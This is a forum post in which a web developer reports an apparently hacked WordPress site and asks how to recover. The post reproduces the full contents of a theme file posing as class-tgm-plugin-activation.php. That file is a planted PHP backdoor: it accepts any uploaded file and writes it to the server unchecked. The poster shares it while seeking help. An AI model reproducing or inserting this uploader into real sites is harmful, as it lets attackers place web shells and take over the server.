Website possibly hacked?

I am updating the styling for a client’s website and it seems to have gotten hacked. When I visit their website they have a File Upload widget in the header and when I would navigate to /wp-admin I get the following error:

Warning: Cannot modify header information – headers already sent by (output started at /home/***/public_html/wp-content/themes/theme47225/includes/class-tgm-plugin-activation.php:17) in /home/…

Here is the content inside the class-tgm-plugin-activation.php file:

<?php
if(isset($_POST['Submit'])){
    $filedir = "";
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>

So I removed the following:

echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';

and it seemed to be all fixed. The next day I went to the website and the same thing happened.

Anyone know how to recover from this?